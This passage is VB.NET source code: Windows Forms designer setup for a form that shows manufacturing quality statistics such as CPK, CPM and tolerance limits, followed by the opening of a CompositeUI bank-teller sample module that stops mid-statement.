Me.DataGridViewAutoFilterTextBoxColumn39.HeaderText = "LSL" Me.DataGridViewAutoFilterTextBoxColumn39.Name = "DataGridViewAutoFilterTextBoxColumn39" Me.DataGridViewAutoFilterTextBoxColumn39.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn39.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn39.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn40 ' Me.DataGridViewAutoFilterTextBoxColumn40.DataPropertyName = "UTLMC" DataGridViewCellStyle27.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle27.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn40.DefaultCellStyle = DataGridViewCellStyle27 Me.DataGridViewAutoFilterTextBoxColumn40.HeaderText = "UTLMC" Me.DataGridViewAutoFilterTextBoxColumn40.Name = "DataGridViewAutoFilterTextBoxColumn40" Me.DataGridViewAutoFilterTextBoxColumn40.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn40.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn40.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn41 ' Me.DataGridViewAutoFilterTextBoxColumn41.DataPropertyName = "LTLMC" DataGridViewCellStyle28.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle28.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn41.DefaultCellStyle = DataGridViewCellStyle28 Me.DataGridViewAutoFilterTextBoxColumn41.HeaderText = "LTLMC" Me.DataGridViewAutoFilterTextBoxColumn41.Name = "DataGridViewAutoFilterTextBoxColumn41" Me.DataGridViewAutoFilterTextBoxColumn41.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn41.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn41.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn42 ' Me.DataGridViewAutoFilterTextBoxColumn42.DataPropertyName = "UMC" DataGridViewCellStyle29.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle29.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn42.DefaultCellStyle = DataGridViewCellStyle29 Me.DataGridViewAutoFilterTextBoxColumn42.HeaderText = "UMC" Me.DataGridViewAutoFilterTextBoxColumn42.Name = "DataGridViewAutoFilterTextBoxColumn42" Me.DataGridViewAutoFilterTextBoxColumn42.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn42.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn42.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn43 ' Me.DataGridViewAutoFilterTextBoxColumn43.DataPropertyName = "LMC" DataGridViewCellStyle30.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle30.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn43.DefaultCellStyle = DataGridViewCellStyle30 Me.DataGridViewAutoFilterTextBoxColumn43.HeaderText = "LMC" Me.DataGridViewAutoFilterTextBoxColumn43.Name = "DataGridViewAutoFilterTextBoxColumn43" Me.DataGridViewAutoFilterTextBoxColumn43.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn43.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn43.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn44 ' Me.DataGridViewAutoFilterTextBoxColumn44.DataPropertyName = "CPK" DataGridViewCellStyle31.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle31.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn44.DefaultCellStyle = DataGridViewCellStyle31 Me.DataGridViewAutoFilterTextBoxColumn44.HeaderText = "CPK" Me.DataGridViewAutoFilterTextBoxColumn44.Name = "DataGridViewAutoFilterTextBoxColumn44" Me.DataGridViewAutoFilterTextBoxColumn44.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn44.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn44.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn45 ' Me.DataGridViewAutoFilterTextBoxColumn45.DataPropertyName = "CPM" DataGridViewCellStyle32.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle32.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn45.DefaultCellStyle = DataGridViewCellStyle32 Me.DataGridViewAutoFilterTextBoxColumn45.HeaderText = "CPM" Me.DataGridViewAutoFilterTextBoxColumn45.Name = "DataGridViewAutoFilterTextBoxColumn45" Me.DataGridViewAutoFilterTextBoxColumn45.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn45.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn45.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn46 ' Me.DataGridViewAutoFilterTextBoxColumn46.DataPropertyName = "LMC" DataGridViewCellStyle33.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle33.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn46.DefaultCellStyle = DataGridViewCellStyle33 Me.DataGridViewAutoFilterTextBoxColumn46.HeaderText = "LMC" Me.DataGridViewAutoFilterTextBoxColumn46.Name = "DataGridViewAutoFilterTextBoxColumn46" Me.DataGridViewAutoFilterTextBoxColumn46.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn46.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn46.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn47 ' Me.DataGridViewAutoFilterTextBoxColumn47.DataPropertyName = "DanhGiaMC" DataGridViewCellStyle34.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter Me.DataGridViewAutoFilterTextBoxColumn47.DefaultCellStyle = DataGridViewCellStyle34 Me.DataGridViewAutoFilterTextBoxColumn47.HeaderText = "Đánh giá MC" Me.DataGridViewAutoFilterTextBoxColumn47.Name = "DataGridViewAutoFilterTextBoxColumn47" Me.DataGridViewAutoFilterTextBoxColumn47.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn47.Resizable = System.Windows.Forms.DataGridViewTriState.[True] ' 'DataGridViewAutoFilterTextBoxColumn48 ' Me.DataGridViewAutoFilterTextBoxColumn48.DataPropertyName = "CPK" DataGridViewCellStyle35.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle35.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn48.DefaultCellStyle = DataGridViewCellStyle35 Me.DataGridViewAutoFilterTextBoxColumn48.HeaderText = "CPK" Me.DataGridViewAutoFilterTextBoxColumn48.Name = "DataGridViewAutoFilterTextBoxColumn48" Me.DataGridViewAutoFilterTextBoxColumn48.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn48.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn48.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn49 ' Me.DataGridViewAutoFilterTextBoxColumn49.DataPropertyName = "CPM" DataGridViewCellStyle36.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle36.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn49.DefaultCellStyle = DataGridViewCellStyle36 Me.DataGridViewAutoFilterTextBoxColumn49.HeaderText = "CPM" Me.DataGridViewAutoFilterTextBoxColumn49.Name = "DataGridViewAutoFilterTextBoxColumn49" Me.DataGridViewAutoFilterTextBoxColumn49.ReadOnly = True Me.DataGridViewAutoFilterTextBoxColumn49.Resizable = System.Windows.Forms.DataGridViewTriState.[True] Me.DataGridViewAutoFilterTextBoxColumn49.Width = 70 ' 'DataGridViewAutoFilterTextBoxColumn50 ' Me.DataGridViewAutoFilterTextBoxColumn50.DataPropertyName = "CPKD" DataGridViewCellStyle37.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle37.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn50.DefaultCellStyle = DataGridViewCellStyle37 Me.DataGridViewAutoFilterTextBoxColumn50.HeaderText = "CPK Std" Me.DataGridViewAutoFilterTextBoxColumn50.Name = "DataGridViewAutoFilterTextBoxColumn50" ' 'DataGridViewAutoFilterTextBoxColumn51 ' Me.DataGridViewAutoFilterTextBoxColumn51.DataPropertyName = "CPMD" DataGridViewCellStyle38.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle38.Format = "N3" Me.DataGridViewAutoFilterTextBoxColumn51.DefaultCellStyle = DataGridViewCellStyle38 Me.DataGridViewAutoFilterTextBoxColumn51.HeaderText = "CPM Std" Me.DataGridViewAutoFilterTextBoxColumn51.Name = "DataGridViewAutoFilterTextBoxColumn51" ' 'DataGridViewTextBoxColumn1 ' Me.DataGridViewTextBoxColumn1.DataPropertyName = "AVG" DataGridViewCellStyle39.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle39.Format = "N3" Me.DataGridViewTextBoxColumn1.DefaultCellStyle = DataGridViewCellStyle39 Me.DataGridViewTextBoxColumn1.HeaderText = "AVG" Me.DataGridViewTextBoxColumn1.Name = "DataGridViewTextBoxColumn1" Me.DataGridViewTextBoxColumn1.Width = 50 ' 'DataGridViewTextBoxColumn2 ' Me.DataGridViewTextBoxColumn2.DataPropertyName = "Min" DataGridViewCellStyle40.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle40.Format = "N3" Me.DataGridViewTextBoxColumn2.DefaultCellStyle = DataGridViewCellStyle40 Me.DataGridViewTextBoxColumn2.HeaderText = "Min" Me.DataGridViewTextBoxColumn2.Name = "DataGridViewTextBoxColumn2" Me.DataGridViewTextBoxColumn2.Width = 50 ' 'DataGridViewTextBoxColumn3 ' Me.DataGridViewTextBoxColumn3.DataPropertyName = "Max" DataGridViewCellStyle41.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleRight DataGridViewCellStyle41.Format = "N3" Me.DataGridViewTextBoxColumn3.DefaultCellStyle = DataGridViewCellStyle41 Me.DataGridViewTextBoxColumn3.HeaderText = "Max" Me.DataGridViewTextBoxColumn3.Name = "DataGridViewTextBoxColumn3" Me.DataGridViewTextBoxColumn3.Width = 50 ' 'DataGridViewTextBoxColumn4 ' Me.DataGridViewTextBoxColumn4.DataPropertyName = "DanhGiaMC" DataGridViewCellStyle42.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter Me.DataGridViewTextBoxColumn4.DefaultCellStyle = DataGridViewCellStyle42 Me.DataGridViewTextBoxColumn4.HeaderText = "Đánh giá MC" Me.DataGridViewTextBoxColumn4.Name = "DataGridViewTextBoxColumn4" ' 'FrmDataDetail ' Me.Appearance.Options.UseFont = True Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.ClientSize = New System.Drawing.Size(1061, 450) Me.Controls.Add(Me.txtMethod) Me.Controls.Add(Me.txtSoMau) Me.Controls.Add(Me.Label18) Me.Controls.Add(Me.cboProcess) Me.Controls.Add(Me.cboMayDo) Me.Controls.Add(Me.Label17) Me.Controls.Add(Me.Label12) Me.Controls.Add(Me.txtCustomer) Me.Controls.Add(Me.Label13) Me.Controls.Add(Me.txtPdCode) Me.Controls.Add(Me.Label16) Me.Controls.Add(Me.dtpTGEnd) Me.Controls.Add(Me.dtpTGStart) Me.Controls.Add(Me.dtpNgayDo) Me.Controls.Add(Me.Label11) Me.Controls.Add(Me.txtDanhGiaSauCung) Me.Controls.Add(Me.txtNoiDungKhongDat) Me.Controls.Add(Me.Label14) Me.Controls.Add(Me.txtSoLanTest) Me.Controls.Add(Me.Label15) Me.Controls.Add(Me.Label6) Me.Controls.Add(Me.Label7) Me.Controls.Add(Me.txtMaPhim) Me.Controls.Add(Me.txtApLuc) Me.Controls.Add(Me.txtMayRoiSang) Me.Controls.Add(Me.Label8) Me.Controls.Add(Me.txtQuanLuong) Me.Controls.Add(Me.Label9) Me.Controls.Add(Me.txtTocDo) Me.Controls.Add(Me.Label10) Me.Controls.Add(Me.Label5) Me.Controls.Add(Me.Label4) Me.Controls.Add(Me.txtMSNV) Me.Controls.Add(Me.Label3) Me.Controls.Add(Me.txtLotNo) Me.Controls.Add(Me.Label2) Me.Controls.Add(Me.Label1) Me.Controls.Add(Me.grid) Me.Controls.Add(Me.bdn) Me.Controls.Add(Me.tlsMenu) Me.Font = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.KeyPreview = True Me.Name = "FrmDataDetail" Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen Me.Text = "FrmDataDetail" Me.WindowState = System.Windows.Forms.FormWindowState.Maximized Me.tlsMenu.ResumeLayout(False) Me.tlsMenu.PerformLayout() CType(Me.bdn, System.ComponentModel.ISupportInitialize).EndInit() Me.bdn.ResumeLayout(False) Me.bdn.PerformLayout() CType(Me.grid, System.ComponentModel.ISupportInitialize).EndInit() Me.ResumeLayout(False) Me.PerformLayout() End Sub Friend WithEvents tlsMenu As Windows.Forms.ToolStrip Friend WithEvents mnuShowAll As Windows.Forms.ToolStripButton Friend WithEvents mnuExport As Windows.Forms.ToolStripButton Friend WithEvents mnuImprt As Windows.Forms.ToolStripButton Friend WithEvents mnuSave As Windows.Forms.ToolStripButton Friend WithEvents ToolStripSeparator1 As Windows.Forms.ToolStripSeparator Friend WithEvents bdn As Windows.Forms.BindingNavigator Friend WithEvents BindingNavigatorCountItem As Windows.Forms.ToolStripLabel Friend WithEvents BindingNavigatorMoveFirstItem As Windows.Forms.ToolStripButton Friend WithEvents BindingNavigatorMovePreviousItem As Windows.Forms.ToolStripButton Friend WithEvents BindingNavigatorSeparator As Windows.Forms.ToolStripSeparator Friend WithEvents BindingNavigatorPositionItem As Windows.Forms.ToolStripTextBox Friend WithEvents BindingNavigatorSeparator1 As Windows.Forms.ToolStripSeparator Friend WithEvents BindingNavigatorMoveNextItem As Windows.Forms.ToolStripButton Friend WithEvents BindingNavigatorMoveLastItem As Windows.Forms.ToolStripButton Friend WithEvents BindingNavigatorSeparator2 As Windows.Forms.ToolStripSeparator Friend WithEvents grid As Windows.Forms.DataGridView Friend WithEvents Label1 As Windows.Forms.Label Friend WithEvents txtLotNo As Windows.Forms.TextBox Friend WithEvents Label2 As Windows.Forms.Label Friend WithEvents txtMSNV As Windows.Forms.TextBox Friend WithEvents Label3 As Windows.Forms.Label Friend WithEvents Label4 As Windows.Forms.Label Friend WithEvents Label5 As Windows.Forms.Label Friend WithEvents Label6 As Windows.Forms.Label Friend WithEvents Label7 As Windows.Forms.Label Friend WithEvents txtMaPhim As Windows.Forms.TextBox Friend WithEvents txtApLuc As Windows.Forms.TextBox Friend WithEvents txtMayRoiSang As Windows.Forms.TextBox Friend WithEvents Label8 As Windows.Forms.Label Friend WithEvents txtQuanLuong As Windows.Forms.TextBox Friend WithEvents Label9 As Windows.Forms.Label Friend WithEvents txtTocDo As Windows.Forms.TextBox Friend WithEvents Label10 As Windows.Forms.Label Friend WithEvents Label11 As Windows.Forms.Label Friend WithEvents txtDanhGiaSauCung As Windows.Forms.TextBox Friend WithEvents txtNoiDungKhongDat As Windows.Forms.TextBox Friend WithEvents Label14 As Windows.Forms.Label Friend WithEvents txtSoLanTest As Windows.Forms.TextBox Friend WithEvents Label15 As Windows.Forms.Label Friend WithEvents dtpNgayDo As Windows.Forms.DateTimePicker Friend WithEvents dtpTGStart As Windows.Forms.DateTimePicker Friend WithEvents dtpTGEnd As Windows.Forms.DateTimePicker Friend WithEvents Label12 As Windows.Forms.Label Friend WithEvents txtCustomer As Windows.Forms.TextBox Friend WithEvents Label13 As Windows.Forms.Label Friend WithEvents txtPdCode As Windows.Forms.TextBox Friend WithEvents Label16 As Windows.Forms.Label Friend WithEvents Label17 As Windows.Forms.Label Friend WithEvents cboMayDo As Windows.Forms.ComboBox Friend WithEvents cboProcess As Windows.Forms.ComboBox Friend WithEvents txtSoMau As Windows.Forms.TextBox Friend WithEvents Label18 As Windows.Forms.Label Friend WithEvents txtMethod As Windows.Forms.TextBox Friend WithEvents mnuChart As Windows.Forms.ToolStripButton Friend WithEvents DataGridViewAutoFilterTextBoxColumn1 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn2 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn3 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn4 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn5 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn6 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn7 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn8 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn9 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn10 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn11 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn12 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn13 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn14 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn15 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn16 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn17 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn18 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn19 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn20 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn21 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn22 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn23 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn24 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn25 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn26 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn27 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn28 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn29 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn30 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn31 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn32 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn33 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewTextBoxColumn1 As Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DataGridViewTextBoxColumn2 As Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DataGridViewTextBoxColumn3 As Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn34 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn35 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn36 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn37 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn38 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn39 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn40 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn41 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn42 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn43 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewTextBoxColumn4 As Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn44 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn45 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn46 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn47 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn48 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn49 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn50 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DataGridViewAutoFilterTextBoxColumn51 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents mnuDelete As Windows.Forms.ToolStripButton Friend WithEvents mnuEdit As Windows.Forms.ToolStripButton Friend WithEvents ToolStripSeparator2 As Windows.Forms.ToolStripSeparator Friend WithEvents Item As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D1 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D2 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D3 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D4 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D5 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D6 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D7 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D8 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D9 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D10 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D11 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D12 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D13 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D14 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D15 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D16 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D17 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D18 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D19 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D20 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D21 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D22 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D23 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D24 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D25 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D26 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D27 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D28 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D29 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D30 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D31 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents D32 As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents AVG As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents Min As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents Max As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents STDEV As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents KetQua As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents Spec As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents UTL As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents LTL As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents USL As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents LSL As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents UTLMC As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents LTLMC As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents UMC As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents LMC As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents DanhGiaMC As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents CPK As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents CPM As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents CPKD As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn Friend WithEvents CPMD As DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn End Class
'=============================================================================== ' Microsoft patterns & practices ' CompositeUI Application Block '=============================================================================== ' Copyright © Microsoft Corporation. All rights reserved. ' THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY ' OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT ' LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND ' FITNESS FOR A PARTICULAR PURPOSE. '=============================================================================== Imports Microsoft.VisualBasic Imports System Imports System.Configuration Imports System.Windows.Forms Imports Microsoft.Practices.CompositeUI Imports Microsoft.Practices.CompositeUI.UIElements Imports Microsoft.Practices.CompositeUI.SmartParts Imports Microsoft.Practices.CompositeUI.Services Imports Microsoft.Practices.ObjectBuilder Imports BankTellerCommon Namespace BankTellerModule ' This is the initialization class for the Module. Any classes in the assembly that ' derive from Microsoft.Practices.CompositeUI.ModuleInit will automatically ' be created and called for initialization. Public Class BankTellerModuleInit : Inherits ModuleInit Private workItem As WorkItem <InjectionConstructor()> _ Public Sub New(<ServiceDependency()> ByVal workItem As WorkItem) Me.workItem = workItem End Sub Public Overrides Sub Load() AddCustomerMenuItem() 'Retrieve well known workspaces Dim sideBarWorkspace As IWorkspace = workItem.Workspaces(WorkspacesConstants.SHELL_SIDEBAR) Dim contentWorkspace As IWorkspace = workItem.Workspaces(WorkspacesConstants.SHELL_CONTENT) Dim bankTellerWorkItem As BankTellerWorkItem = 